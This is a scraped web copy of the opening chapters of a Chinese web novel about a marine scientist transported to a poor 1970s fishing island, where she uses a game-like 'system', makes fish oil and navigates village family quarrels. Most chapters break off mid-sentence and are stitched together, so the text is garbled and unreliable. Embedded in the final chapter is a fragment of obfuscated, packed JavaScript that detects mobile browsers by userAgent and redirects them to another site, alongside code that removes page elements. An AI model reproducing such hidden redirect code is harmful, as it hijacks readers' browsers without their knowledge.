《渔业强国从七零开始》 1. 穿越变孤儿 《渔业强国从七零开始》全本免费阅读 徐夏再睁眼,发现自己躺在一张陌生的床上,双手贴着潮湿的床单,一翻身就嘎吱作响。 识海中疯狂地涌入信息,差点让她大脑过载。 太荒谬了,她竟然穿越到1975年了! 这具身体的原主也叫徐夏,住在渔阳公社的解放大队。 解放大队在一个海岛上,土地贫瘠,2平方公里的土地上仅有650亩红薯地,岛上男人出海捕鱼,妇女在家种田。 俗话说“白天看鱼跳、晚上听鱼叫”,这个年代没有北斗导航系统,抓鱼全凭罗盘和经验,虽然饿不死,但大家日子也都苦哈哈的。 原主父母四十多岁才得了她一个孩子,看得如珠似宝。 如果成绩不好也就罢了,像队上大多数小孩儿一样,读个扫盲班,家境好一点上个小学,不做睁眼瞎就行。 偏生原主争气,天生会读书。 父母宁愿节衣缩食,也要供她继续读书。 徐夏穿越来,原主刚好读完初中。 70年代的初中生多金贵,整个解放大队里除了原主,也就出身省城的文知青家的女儿读完了初中,其他人小学毕业都够呛。 这时初中毕业继续升学不用考试,学校推荐成绩优秀的学生直接上高中或者中专。 听到学校老师感叹原主的好成绩,原本打算送女儿读中专的父母一咬牙,决定送她继续读高中。 不像中专不用出学费,高中不仅要出学费,每个月还要交粮票,学校食堂还要收加工费。 更别提解放大队和县城距离远,还有住宿费要交,这对渔民家庭来讲,是不小的一笔开支。 为了凑够钱,徐家两口子连夜摇着自家的小舢板出海打鱼,想努把力多赚点工分。 你问他们为啥不开大船? 解放大队穷得只有30条舢板船,还是大队的妇女们把结婚时陪嫁的黄铜火囱卖掉换来的,大家把它看得比自己的命还重要。 有的家庭连舢板船都没有,只能潜水下去捕鱼。 然而麻绳专挑细处断,徐家两口子摇得小舢板不幸触礁,尸骨无存,原主得知消息后直接晕死过去。 父母双亡后,原主意志消沉,加之没有收入来源,只能放弃读高中。 幸而她成绩好,还能去读海省电力中专,不仅学费全免,每月还有生活补助。 四年毕业后被分配到供电局工作,一朝农村户口变城镇户口,吃上了人人羡慕的公家饭,捧上了铁饭碗。 工作后原主兢兢业业,组织上也很看重她,原本以为她的悲惨命运已经结束,终于迎来了曙光,却在一次高空电力施工作业中,意外触电,抢救无效死亡。 看到这里,徐夏叹了口气,父母双亡,这是什么地狱开局,辛辛苦苦工作刚有点起色就触电身亡,原主真是倒霉得喝口凉水都塞牙。 和原主相比,徐夏简直福星高照。 虽然父母从小离婚,但母亲对她爱护有加,吃穿不愁。顺风顺水考入华国最高学府京大,一路本、硕、博读上去,毕业后留校任教,几年后成为海洋行业的专家。 穿越前,正值台风侵袭,停泊在码头的华国重点实验船剧烈摇晃,实验设备有倾覆的危险。身为首席科学家的徐夏身先士卒冲上实验船,进行加固作业。 一个巨浪打来,海水如巨兽般吞噬了徐夏,她奋力挣扎,试图游向海面,但每一次的努力都被无情的海浪打回,身体逐渐失去了意识。 难道小命今天就要交代在这里? 不幸之中的万幸,徐夏穿越到了名字重合率100%的悲剧原主身上。 但想到自己才做了一半的实验和没给学生改完的论文,徐夏悲从中来,可能这辈子都没有机会回到现代继续自己的研究了。 环顾四周,原主家可以称得上是家徒四壁。 墙是形状各异的石块垒成的,窗户也是纸糊的,狭小的房间里除了身下这张破旧木床,竟然没有一件家具。 工作之余徐夏也看了不少穿越文消遣,别的主角不是携带空间囤货发财,就是觉醒异能走上人生巅峰,怎么轮到自己不仅室如悬磬,甚至连个系统都没能绑定上? 【恭喜宿主,您已绑定未来海洋生物多样性系统。】 得,真是天遂人愿,徐夏的眼前出现了一个巨大的蓝色屏幕,上方有图鉴、商城、仓库、待开发四个选项。 徐夏尝试着用意念打开图鉴栏,没想到真成功了,页面出现了一排排灰色的卡片,只是没有文字也没有图案。 徐夏一愣神的工夫,系统发声了:【宿主,只要你搜集不同的海洋生物,就可以解锁图鉴,获得系统金币。】 提到海洋生物,那徐夏可一点不困了,穿越前她没结婚也没谈恋爱,把所有的精力都奉献给了海洋研究。 现在是1975年,说不定还能见到上辈子已经灭绝的海洋生物,真是因祸得福,想到这里,徐夏的心激动得怦怦作响。 不过这系统金币有什么用? 系统仿佛会读心似的,自顾自地解释起来:【系统金币可以购买商城物品,升级仓库容量,进一步拓展系统功能。】 徐夏又浏览起系统商城,界面竟然和某宝似的,看得人是眼花缭乱。 系统见徐夏沉浸在新奇的世界里,小声提醒:【宿主,希望你能好好利用系统功能,扭转原主悲惨命运。】 说完便“唰”的一声关掉了屏幕。 要不是系统最后提醒这一句,徐夏光顾着高兴可以尽情搜集海洋生物了,完全忘记穿越的第一要义是逆转原主的惨剧,不然什么高大理想都白搭。 想到前面还有刀山火海等着自己,徐夏重重地叹了一口气,算是勉强接受了现实。 听见里面的叹气声,坐在堂屋的李萍从小声啜泣变成了嚎啕大哭。 李萍是原主的小姨,也是她唯一在世的亲人,年轻时嫁给了渔阳公社的干事,不知为何很少回来走动。 原主家出事后,李萍连夜走了十多里路,足足花了三个多小时,才赶到解放大队,一直守着昏迷不醒的原主。 她原本计划收养原主,却被婆家一致反对,加之财政大权一直掌握在丈夫手中,对原主的接济也是有心无力。 甚至在原主读中专时,李萍离奇死亡。 此时天才蒙蒙亮,住在附近的村民刚起来洗漱、做饭,准备出门干活。 听见李萍的哭声,爱看热闹的村民慢慢朝着徐夏家 聚集。 捧着海碗,三三两两蹲在院外,一边喝粥一边议论起来。 “这老徐家可真倒霉,徐夏一个小姑娘以后可怎么过啊。” “李萍这不是来了吗,她可是徐夏妈一手拉扯大的,肯定要把徐夏接走吧。” “嗨,你不知道啊,李萍公公钱老头是出了名的抠门,那可不是个好相与的,能不能管徐夏可还两说” “听说是为了给她筹读高中的钱,徐家两口子才连夜去捕鱼的,哎,命苦呀。” “要我说她就是八字带着重煞,犯了白虎,克父又克母。” 说这话的是住村东口的刘三,四十好几了也没说上媳妇,整天游手好闲不务正业,就爱 2. 半滑舌鳎 《渔业强国从七零开始》全本免费阅读 徐夏怔住了,这张脸和家中黑白相册里的人一模一样,不是自己妈妈宁文还能是谁? 宁文抬手在徐夏眼前挥了两下:“你不会脑子进海水把我忘了吧?” 宁文绕着徐夏走了一圈,不时摸摸她的身体。 脑海中原主的记忆告诉徐夏,宁文是她最好的朋友,就住在隔壁。 父亲宁海是本地人,母亲文昕在55年响应“农村是一个广阔的天地,在那里是可以大有作为的”的号召,主动从江海市赴渔阳公社接受贫下中农再教育。 前世宁文初中毕业就去了省城的姥爷家里,原主家突逢变故,等到宁文收到消息,暑假已经接近尾声,回来时原主已经去读海省电力中专了。 不知道为何这次宁文却提前回来了。 徐夏故作镇定,拍了拍胸口:“我刚醒还没缓过来,你不是去省城了嘛,怎么提前回来了?” “嗨,别提了,前几天我心突突地跳,总觉得要出事,就搭顺风车回来了。 刚到村口就听见他们说你家的事,回家放下包袱就赶过来了,渴死我了,先去喝点水。” 宁文熟门熟路地往灶房走,徐夏也跟着进去了。 灶房里,李萍从瓦盆里取出几条泡透的红薯干,用刀细细地剁成泥,倒进石磨眼儿里,一圈一圈地推着磨。 解放大队人少地更少,男人出海捕鱼,妇女和老人留在家里种地,红薯干就是他们赖以生存的口粮。 宁文熟门熟路地从水缸里舀了一碗水,一边喝一边说:“姨,别忙活了,上我家吃点现成的吧,我爷娘这几天不用去学校,在家闲着咧。” 李萍听到这话慢慢停下了推石磨的动作,面糊却仍然不停地从两块磨石缝里面流出来。 徐夏忙拿起一旁的瓦盆盛面糊,不小心碰到了李萍的手臂。 “嘶……” 李萍的脸突然痛苦地扭曲起来,不自然地抽回右手,还用左手扯了扯衣袖。 徐夏见状,上前一步:“小姨,你受伤了吗?” 李萍故作轻松地回答:“嗨,没事,路上着急,跌了一跤,回去抹点红花油就行。 小夏,那你跟宁文上她家去,把这些磨好的面糊带上,小姨就先回公社和你姨父商量商量,很快就来接你。 对了,来得急,没带什么东西,这还有些钱,你先拿着使。” 说完便硬塞给徐夏一个手绢,里面裹着几张毛票。 还没等徐夏二人反应过来,李萍便急匆匆地往外跑,想是出来的着急,没告诉家里,怕他们担心。 宁文上前拽住徐夏:“走吧,上我家去。” 徐夏准备好好整理一下思绪,便打算把宁文支走,忙抽出手:“我把这些面糊拾掇拾掇就过来,你先回去。” 宁文见状也不多说什么:“成,你收拾好赶紧来。”说罢也出了灶屋。 目送宁文走远了,徐夏继续整理起原主的记忆。 老天,原来改革开放之后,渔阳公社就改名为西岛镇,解放大队就是后世的宁家村,妈妈宁文和原主竟然是从小一起玩到大的闺蜜。 也许是蝴蝶效应,因为自己穿越来,这个世界发生了变化,宁文就提前从姥爷家回来了。 能再次和妈妈宁文相聚,徐夏别提多开心。 重活一世,母女变闺蜜,也不赖。 唯一的遗憾是不能直接告诉宁文,自己是她以后的女儿。 身为科学家的徐夏当然明白,贸然相认,轻则会被当成疯子,重则会导致世界紊乱,后续影响不是自己能控制的。 想到这里,徐夏有些丧气,肚子里憋着秘密的感觉可不好受啊。 徐夏一边感叹,一边用瓦盆装起剩余的面糊,出了灶屋朝宁文家走去。 一路上遇见去劳作的村民,都面露同情地看着徐夏。 宁文家灶屋里,文昕正将一条龙利鱼切成小块,放入姜丝,撒上料酒,用手抓拌。 蹲在一旁的宁海则将柴火一根一根地添进灶膛里。 宁文火急火燎地把徐夏家的事讲了出来,还劝父母一定要让徐夏在自家住下。 文昕听完和宁海对视了一眼,张嘴说道:“宁文,你先去屋后摘几个西红柿。” 显然是打算把宁文支出去,两口子好商量点事儿。 不像城镇居民能分到粮票、肉票、布票,解放大队的村民每年只能分到3尺的布票,想要摄入点蛋白质,唯一的来源就是收购站挑剩下不要的小鱼小虾。 至于蔬菜,每家每户房前屋后都有5厘自留地,可以用来种一些时令菜。 “我寻思,萍姐不一定能说服她婆家人,徐夏多半还得留在队里。” 宁海蹙眉道:“徐夏她爸妈以前经常照顾我们,就是今天文文不提这件事,论理我们也应该照顾她。” 文昕和宁海都是解放小学的老师。 从前整个渔阳公社只有一所中心小学,别说普通的村民了,公社下属的十几位支书里面,都只有几人识字,闹出了不少笑话 有一回前进大队的干部上公社开会,因为不认识“男、女”两个字,结果走错了厕所,差点被当成流氓抓了起来。 因着这件事,公社狠下心要发展教育,降低文盲率,就在全公社下属的大队实施“两条腿走路”兴办小学的方针。 除了公社的中心小学,各个大队都兴办起了小学。 解放大队在全村摸排,除了支书和会计,竟找不出几个有文化的。 这年头的乡村教师大多是“识仨认俩”,因着宁海解放前读过私塾,文昕有初中学历,赶鸭子上架,让二人当了代课老师。 因为不是公办教师,宁家三口人只能分得最基础的生活补贴,住在隔壁的徐家父母经常送来一些鱼虾接济。 文昕拍了拍手:“做人不能丧了良心,于情于理我们都该管她,只是两个孩子眼见着都要升学,负担可不小。” 宁海紧锁眉头:“不行就去找我爸妈借点。” 文昕赶忙阻止道:“不许去!去了他们又要磋磨你。” 宁海的父母有些重男轻女,自宁文出生以后,一直想方设法地虐待两母女。 宁海却不是个愚孝的,懂得爱护妻女,和父母大吵一架后,便搬了出来。 可终归是生养自己的父母,逢年过节也得回去看一趟,每次去口袋都被扒得干干净净,是以他们家里也没个积蓄。 宁海也知道妻子是为自己好,挠了挠头:“还有几个月呢,总能想到办法,我再出去砍点柴,待会小夏来了,可别在她面前提没钱这茬,这孩子可怜,以后我们能帮则帮。” 文昕啐了他一口:“我是那种没眼力见的人啊,滚滚滚。” 话音刚落,宁文就拿着西红柿回来了,接了一盆水细细地搓洗起来。 3. 鱼油大法好 《渔业强国从七零开始》全本免费阅读 宁家三口齐齐看向徐夏:“只听过熬猪油,倒是头一回听说熬鱼油,你是从哪儿学来的。” 徐夏挠挠头:“是我娘原先做过一次,熬来炒菜,怪香的,就是腥味重,不过现如今都缺油使,应该不愁换粮票。” 她当然不会承认,自己后世养了一只喵主子,经常给她熬三文鱼油给它做猫食吃。 这里虽然没有三文鱼,但万变不离其宗,其他的鱼应该也能替代。 文昕紧蹙的眉头舒展开来,笑道:“家里倒是还有好些小杂鱼没吃完,不如咱们死马当活马医,先少熬点试一次,就是失败了也不心疼。” 宁文也是个行动派,连忙站起来:“那咱们赶紧开干,还能趁着天黑前赶去县城里换掉。” 宁海点头点,将碗放下:“成,那你们去熬油,我去寻几个干净的玻璃瓶来。” 之前宁文每次去省城姥爷家,姥爷姥姥心疼他们一家三口在乡下缺衣少食,总要让她带些乡里没有的吃食回来,总少不了几瓶水果罐头。 别小看现代超市里随处可见的水果罐头,它可是这个年代走亲访友的必备物资,还和麦乳精、巧克力等一起归类为营养品。 谁家小孩有个头疼脑热的,吃上一口水果,病就好了三分。 更别提吃掉水果,留下的玻璃瓶还能当水杯使。 宁文给徐夏指清楚存鱼的地窖,便端着碗筷进了灶屋。 徐夏一打开地窖,系统音就接二连三地响个不停:【检测到中华舌鳎,系统金币+1。】 【检测到西宝舌鳎,系统金币+1。】 【检测到单孔舌鳎,系统金币+1。】 【……】 这地窖里面足足有10种舌鳎,系统金币直接从1跳转成了11,这下可发财了。 徐夏按捺住内心的激动,盘算了一下熬制鱼油的材料,盐、姜、葱都是现成的,只差淀粉。 在商城搜索栏试着输入淀粉,居然跳出来马铃薯淀粉、小麦淀粉、绿豆淀粉、红薯淀粉……比超市里面卖得还齐全,只是价钱都不低,一包就要5个金币。 徐夏一边暗叹系统黑心,一边兑换了一包淀粉放在系统仓库里,捡出一大盆鱼进了灶屋。 灶屋里火还没灭,只见徐夏先往铁锅里挤出几滴油,再下入鱼皮和鱼身,倒入适量料酒、盐巴和姜片,趁宁文不注意撒了一把淀粉进去,熬制片刻,过滤掉杂质,一锅透亮清澈的鱼油就完成了。 “太香了吧,没想到小夏你还有这一手。”文昕闻着香味走进来,伸手在鼻子前扇了两下。 待鱼油冷却后,众人小心翼翼地倒进玻璃瓶,竟装了4瓶之多。 宁海看着战果,叉着腰:“行,我这就赶去县城,看能不能找个路子把这些油出掉。” 徐夏闻言阻止道:“叔,不如我和宁文去,我俩年纪小,不打眼,万一被抓住了,还能扯个谎说是来寻亲戚的。” “对啊,爹,你进城还要去大队开证明,不然被拿住了,怎么解释得清?人家看我俩是学生,也不会过多为难我们。”宁文也在旁边帮腔。 宁海和文昕沉思片刻,觉得两个孩子说得不无道理,点头同意了。 打包好鱼油,徐夏和宁文两人背上包袱,便往县城里走去。 这时鲜少有沥青路,通往县城的路是土路,甚是难走,俩人的裤脚都沾满了泥土。 幸好徐夏在现代经常坐科考船出海,和海上的风浪比起来,这点苦也不算什么了。 走了约莫两个小时,徐夏擦擦汗,抬头看看快落山的太阳,对着宁文说:“还是骑自行车方便,等咱们有钱了,一定得买一辆。” 宁文嗤笑道:“你怕不是在说梦话,咱整个大队就一辆,还是前些年给支书的奖励,只有大队干部上公社才能骑,供销社都没得卖,我在县城的友谊商店看到过,足足要180元。” “梦想总是要有的嘛,日子也一定会好起来的。”徐夏紧了紧包袱,语重心长地拍了拍宁文的肩膀。 二人对视着笑了起来,继续沿着土路往县城里走去。 约莫又过了两个小时,二人终于走到了县城。 夏天日照长,太阳还没下山,街上的人也不多。 商量了一下,两人打算去纺织厂家属区碰碰运气。 纺织厂算是当地的支柱产业,国营工厂效益好,生产的毛毯出口不少东欧国家,人们收入相对较高,也舍得在吃上花钱。 只是还得寻个人问问路。 徐夏眼尖,看到不远处伫立着一个报刊亭,心生一计,拉过宁文耳语了一阵。 二人走到报刊亭前,对着坐在里面的中年妇女甜甜问道:“婶子,请问纺织厂家属区怎么去呀,我们来寻亲戚,迷路了。” 中年妇女低头翻着报纸,头也不抬:“沿着这条路直走,路口左拐,再走个几百米,门口有个大牌子的就是。” 也不怪她态度冷淡,这个年代没有智能手机,黑白电视也是奢侈品,看报纸就成了人们了解信息和消遣娱乐为数不多的方式之一,报刊亭的生意可以说是如火如荼。 在里面工作不用日晒雨淋,可以说得上是人人艳羡。 二人道过谢,便循着路走去。 “没想到你还学会扯谎了,”宁文用胳膊戳戳徐夏,“可不许骗我以后。” 徐夏脸不红心不跳地解释道:“我这叫见机行事,不然人家怀疑我们怎么办,你甭担心,我骗谁也不会骗你。” 同时她在心底默念,善意的谎言不是谎言,要是告诉你,我不是你的好朋友徐夏,是你以后的女儿,你非得把我拉去精神病院治病不可。 又走了大概半个小时,看到一个大拱门,正中间悬挂着“国棉四厂家属区”七个红字,门内稀稀拉拉有几个人,看起来是刚下工回家。 宁文擦了擦脑门上的汗,小声嘟囔道:“纺织厂是到了,可这鱼油该怎么出手啊,总不能进去叫卖吧?” 徐夏对着前面的一棵榆树努了努嘴:“别急,你瞧那边,等着看我表演吧。” 只见榆树下坐着一个老婆婆,正专心致志地在择菜。 徐夏三步并作两步跑上前去:“奶奶,同你打听个事,你知道纺纱车间的王爱芳住哪栋楼吗?” 老人闻言抬起头:“王爱芳?没听说过这个人呢,你找她干啥?” “啊,不能够吧,王爱芳是我表姨,我娘说算着日子她该生了,让我来送点吃食祝贺。” 老人见徐夏表情着急,转身 4. 联防大队 《渔业强国从七零开始》全本免费阅读 几个身着迷彩服,戴着红袖标的人径直走了过来,手上的指挥棒冲着徐夏和宁文二人不停地挥舞。 “那边两个小鬼,鬼鬼祟祟干什么的,是纺织厂的人吗?” 宁文神情紧张,微微颤抖的手指死死地拽住徐夏的衣角。 徐夏感受到身旁宁文的紧张,她前世见惯了大场面,深知面对危机不能自乱阵脚。 轻轻地回握了一下宁文的手,极大地舒缓了她紧张的情绪。 徐夏大大方方地迎上联防大队几人怀疑的目光,脸不红心不跳地回答:“我们是城关中学的毕业生,这不暑假在家没事,我妈熬了些鱼油,使唤我们来送给亲戚家奶奶,只是这家属区太大了,我们迷了路。” 刚才甫一看到联防大队的人,徐夏就把衣服口袋里的钱和粮票都放进了系统仓库,也不怕他们怀疑。 原本鱼油她也想放进仓库,但是一来怕宁文发现无法解释,二来这系统仓库现在只有一个钱包大小,之前兑换的淀粉已经把地占得满满当当了,哪里还有别的空余。 幸好这次带来的鱼油不多,加上李霞还取走了两瓶,就算他们非要掏出来看,也够不上投机倒把的量。 “给亲戚送吃的?穿得破破烂烂的,别不是来偷东西的吧!”联防大队中一人一边用手擦鼻涕一边毫不客气地嘲讽起徐夏和宁文二人的衣着。 这支联防大队,并不是县革委会的正经队伍,而是纺织厂自己组建的,平时负责协助保卫科维护厂区内的治安。 虽然只是临时工,不属于纺织厂的正式职工,但是每月能领到一些基础的补贴。 由于纺织厂规模很大,不少厂子弟书读不下去,接班也没成,工作嘛也没找到。 为了不离城去做知青,有些心思活络的家庭,走走关系,把人塞进这支队伍,既解决了工作问题能补贴家用,又避免他们在社会上惹是生非。 寻个时机还能转正进入保卫科成为纺织厂的正式职工,这份工作也还算是个香饽饽。 故而这支队伍良莠不齐,难免有些人素质不高。 平日里,除了那些尽职尽责的联防队员,有少数人,闲了就走街串巷,招猫逗狗,渴了就找个水龙头牛饮,累了就找个树荫在下面猫觉,看见不认识的就要上去吓唬吓唬。 徐夏和宁文二人衣着虽然穿得很朴素,但也都是收拾得清清爽爽的,哪里就够得上破破烂烂。 就连来时腿上沾的泥点子,也趁着等孟奶奶的时间,用水处理掉了。 反观嘲讽她们的这个联防队员,衣服似乎不大合身,迷彩服垂到了大腿中央,裤子也短了一截,露出黑乎乎的脚踝。 同她们相比,这个人邋里邋遢的,也不知道哪里来的勇气嘲笑她们,真是老蛙笑猪黑,自己不觉得。 徐夏计上心来,眨眨眼,故作诧异地看着这几个人:“叔叔,我们乡下人穷,没条件穿得像你们这么体面,但也收拾得干干净净,你说这话是瞧不起农村人吗?” 她现在外表才十几岁,心安理得地称呼这几个人叔叔,一点儿不脸红。 几人中像是领头的人连忙解释道:“小姑娘,他嘴上没个把门儿的,我替他向你们道歉,我们哪里会瞧不起农村人,没有农民,我们吃的喝的从哪里来。” 这队长心里不由得感叹,这小姑娘倒是机灵,嘴也上不饶人,冷不丁地就给你扣上一个瞧不起农村人的帽子。 要是运气不好被有心人听了去,再添油加醋告到厂里,弄不好自己这队长都当不下去了。 “我们是工厂联防队的,按惯例询问你们,也是为了保障大家的安全,你们说是来寻亲戚的,那她家姓什么,住哪栋楼?” “头儿,还废话什么,这俩丫头,不是小偷,就是来投机倒把的,先抓回去再说。”刚才那个流里流气的联防队员不服气地在旁边抱怨。 这年头无论是盗窃还是投机倒把,要是被抓住了,那可不是闹着玩儿的。 听说公社有个人,因为偷窃进了劳改农场。 如果是投机倒把,金额巨大的,甚至有可能被判死刑。 没想到他话音刚落,一个铿锵有力的声音就响起了:“谁要抓我家大妹和二妹?” 回头一看,竟是个长相酷似孟奶奶的少年,亚麻色皮肤,一张鹅蛋脸,剑眉星目,甚是英气,饶是徐夏上辈子见过那么多来明星,也不由得倒抽了一口冷气。 “哟,这不是张叔嘛,妹妹们从乡里来看我奶奶也违法?”这少年气定神闲地说。 “哥,刚才他们冤枉我们是小偷,还瞧不起我们呢!”徐夏立刻反应过来,一双手挽上少年的胳膊,委屈地告状。 少年一张俏脸短暂地凝固了两秒,不动声色地挣脱了徐夏的双手:“天气热,挨着该出汗了。” “都是误会,原来是孟珏你家的亲戚,这不是看她们迷路了,想问清楚,送她们回去呢。”张队长连忙解释,不由得感到头皮发麻,暗暗发誓回去一定要好好教育队员。 徐夏心里觉得好笑,刚才还以为这队长是个正直的人,没想到也是个见人说人话,见鬼说鬼话的主。 原来这少年就是孟奶奶的孙子孟珏,他妈正是纺织厂采购科的孟主任。 采购科是什么地方?那可是负责原料进口兼采购职工福利的重要部门,可不是他们这些普通联防队员敢得罪的。 几个联防队员也红着脸不停地向徐夏和宁文二人道歉。 孟珏见状便领着徐夏和宁文往楼栋里走去。 徐夏好奇地问“孟奶奶让你来的?” “嗯。”孟珏惜字如金。 三人甫一进孟奶奶家,孟珏就钻进了卧室。 孟家还挺宽敞,三室一厅,看来真是个干部家庭。 孟奶奶从厨房里走出来解释:“我刚才回家,想着不能占你们便宜,家里正好有多余的榆钱,就收拾了一口袋,想让你们回家去做来尝尝。 哪知道我这老胳膊老腿不中用,突然疼了起来。 原本想休息会儿再下去,结果在楼上看到联防大队的为难你们,赶紧就让孟珏来接你们,还好他去得不算晚。 正好来我家认个门,下次来就不用在外面乱逛了。” 孟奶奶六十好几的人了,早就活成了人精,打徐夏一开口就看穿了她们的心思,压根没信两人是来寻亲戚的。 只是见这两个姑娘还是学生模样,年纪不大,人也长得白净,看起来没什么坏心 5. 翡翠鱼丸汤 《渔业强国从七零开始》全本免费阅读 灶屋里。 徐夏取出一条鱼,去掉鳞片、鳃和内脏,用剪刀沿着轮廓走一圈,剪掉鱼鳍,从头部将鱼皮揭起,让上下两层鱼皮彻底同鱼肉分离。 细细地清洗干净后剔除筋膜,切成片剁成鱼泥。 倒出半麻袋的榆钱,择去不新鲜的叶子,放进水盆清洗掉泥土和虫子,放在菜板上剁碎。 见徐夏要开始捏鱼丸,宁文递上一个鸡蛋说:“哎等等,把这个也加进去。” 这时的鸡蛋老金贵了,由于村民们除了工分再无进项,甚至孩子多的家庭每年还倒欠大队钱,公社就允许大家养几只鸡,但不能超过3只,同在房前屋后种蔬菜一样,不算是资本主义尾巴。 下的蛋和养肥的鸡拎到公社收购站可以换点零钱,用来购买日常所需的油盐酱醋,维持生活正常运转。 徐夏将鸡蛋液、鱼泥、榆钱碎混合均匀,再偷偷撒了一把淀粉进去,顺时针搅拌均匀后,便用手出了一个个鱼丸。 水烧热后,将鱼丸一颗一颗放进铁锅里。 等待片刻,撒些新鲜的小葱末,味道鲜美的翡翠鱼丸汤就可以出锅了。 将翡翠鱼丸汤和孟奶奶给的馒头端上饭桌,四人显然饿极了,一人分了一碗便“呼哧呼哧”地吃了起来。 正吃着,突然一阵急促的咳嗽声响起 “咳!咳!咳!” 竟然是宁海他爸宁富国上门来了,可真是稀客。 只见宁富国岣嵝着背,腰间别着一根长烟斗,一只手背在身后,另一只手则牵着自家乖孙宁玉松,径直朝着宁家堂屋走过来。 文昕和宁文对视一眼,原本上扬的嘴角都垂了下来,正所谓是无事不登三宝殿,这老爷子上门准没好事。 宁富国大剌剌在饭桌边坐下,从腰间拿出铜烟斗,伸到煤油灯上点燃火,又在木桌上“铛铛”磕了两下。 只见木桌瞬间出现了两道凹痕,徐夏右眼皮配合地跳了两下。 宁富国将烟斗放进嘴里深吸了一口,吐出几圈烟雾说:“老大,今天我把玉松领来,是吩咐你个事儿。 既然你们不愿意再生二胎,我和你妈也不硬逼了,毕竟强扭的瓜不甜。 如今玉松眼见要上小学了,你们就把他收下,好好教育,将来老了家里也有个男子汉支撑门户。” 宁海眉心一跳,出言反驳:“爸,我和文昕已经有宁文了,哪里还需要人支撑门户。” 眼见宁富国就要发火,宁文忙倒了杯热水递到他手里,转头对着宁富国露出一个假笑:“爷爷,把玉松弟弟接来也可以,但是有一条要先说好,既然让我爸妈教育,那就得按我家的规矩。 我不听话的时候,那可都是要拿鸡毛掸子往身上抽,别到时候玉松吃不了这个苦,再反悔,那可不成。” 宁玉松是宁海二弟宁湖的小儿子,从小调皮捣蛋,但在宁富国和他老婆冯盼儿眼里,可是乖乖大宝贝,打不得,骂不得,没得送来大儿子家里就要挨打的道理。 宁玉松在家做惯了小霸王,正趴在桌边,拿手指偷蘸他们吃剩下的翡翠鱼丸汤,听见堂姐说以后不听话就要拿鸡毛掸子抽自己,吓得赶紧躲在了宁富国身后。 “爷爷,我不要待在这儿,咱们回家吧” 宁富国却像是没听到他说话似的,将水杯“啪”的一声放在桌上。 “大人说话哪有你个小丫头插嘴的道理,难不成你竟能做了家里的主,”想到宁玉松刚才的德行,他老脸一红,“玉松如今渐渐大了,也不像小时候那么不懂事,都知道帮我卷叶子烟了。” 宁海哪里舍得女儿被吼,也顾不上许多,对着宁富国说:“爸,宁文说的就是我们的心里话,她是我们唯一的孩子,当然能做家里的主,要是你舍不得玉松挨打,还是领回去吧。” “好哇,如今你翅膀硬了,有了老婆孩子,被教唆得不认我和你妈两个了,平时也不回家看看,现在宁愿养别人的女儿,也不愿意照顾自家侄子了是吧。”宁富国涨红了脸,显然是气急了。 徐夏本来在一旁默默吃瓜,没想到自己突然被牵扯进来,不由自主地往文昕身旁缩了缩。 文昕一把将徐夏搂在怀里,不停地轻拍她的身体。 宁富国突然站起身,将板凳踢倒在地,拉着宁玉松一边往外走一边说:“行,我这就去队部找支书评理去,看队里允不允许你这样忤逆不孝,不把你脊梁骨戳破,也要拿唾沫星子淹死你。” 宁海没想到父亲竟能如此黑白颠倒,失望地闭上了眼。 虽然一家三口搬出来了,但他逢年过节也没少往父母家提东西去,这可都是自家三口人舍不得吃舍不得穿节省出来的。 文昕和他结婚这么多年,也没往她家里送过什么,反倒是文家老两口心疼他们,每每宁文去,都大包小包地让她带东西回来。 他倒是不担心支书会听信宁富国的一面之词,只是经历了这么多事之后,还对父母抱有希望,感觉自己真是可笑。 宁海暗暗发誓,以后除了作为儿子应尽的本分,再也不会多带什么东西上门,一定事事以妻女为先,断不能让她们跟着自己再受委屈了。 四人收拾完碗筷,合计了一下,打算明早还是让宁海去队部同支书解释清楚。 次日,四人正在吃早饭。 “阿海,文老师,都在家吗?” 支书宁富田竟然先宁海一步找上门来了。 解放大队超过七成的人都姓宁,这支书宁富田不是别人,正是宁海的亲大伯,宁富国的亲哥。 当初宁家三口子要从宁富国家搬出来,宁富田就不同意。 侄儿宁海是队里为数不多正经读过书的,侄媳妇文昕不仅有文化,还是从大城市来的,放着城里的好日子不过,自愿到他们这穷乡僻壤来参与乡村建设,这是何等高尚的思想觉悟啊! 更别说后来宁海和文昕看对了眼,还生了文昕这么个会读书的好苗子。 可惜自家二弟和二弟媳做事实在难看,竟然因为宁文是个女孩,就苛待这一家三口。 连收音机里的领导人都说了“妇女能顶半边天”“男女是平等的,重男轻女这个风俗要改”,这顽固不化的老二两口子,思想也太落后了,要不得。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912469|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就把钱都给了她,心里大为感动。 “不用和大海商量下啊,”宁富田问,“这么大笔钱呢。” 确实,200元,都够得上解放大队富裕人家一年的开销了。 宁文说:“不用,我家我妈就能作主,我爸都听我妈的。” 自打宁海家同宁富国彻底分家以后,一应收入都由文昕保管,可千万别误会,文昕可不是只当这个家的会计和出纳,这些钱和票怎么使用,也由她一个人说了就算。 宁富田闻言乐呵呵笑起来,指着一旁沉默不语坐着的宁三水说:“好事,听老婆话会发达,就和三水她们家一样,现在徐民德可是吃上老婆的软饭了。” “哪有,”一直没说话的宁三水也哈哈笑了起来,“民德主内也不容易,很辛苦的。” 自打宁三水当上了“三八号”的船长,徐民德就挑起了照顾家里的重任。 “差点把正事忘了,我带三水来可不是同你们说闲话的,”宁富田突然拍了下自己的脑门,“三水,你快和她们说说你的问题。” 宁三水沉默了片刻,才缓缓说道:“这次出海,我们还遇到了邻省的船,虽然隔得远,听得不太清楚,但隐约从他们甲板上堆得鱼来看,应该是捕捞了不少大黄鱼。” “难道他们捕捞的不是普通的成鱼,”徐夏心里咯噔一惊,“是腹中有卵的雌鱼?” 洋海湾是大黄鱼的秋季产卵场,邻省那些船只这个季节捕捞的,多半是即将产卵的大黄鱼。 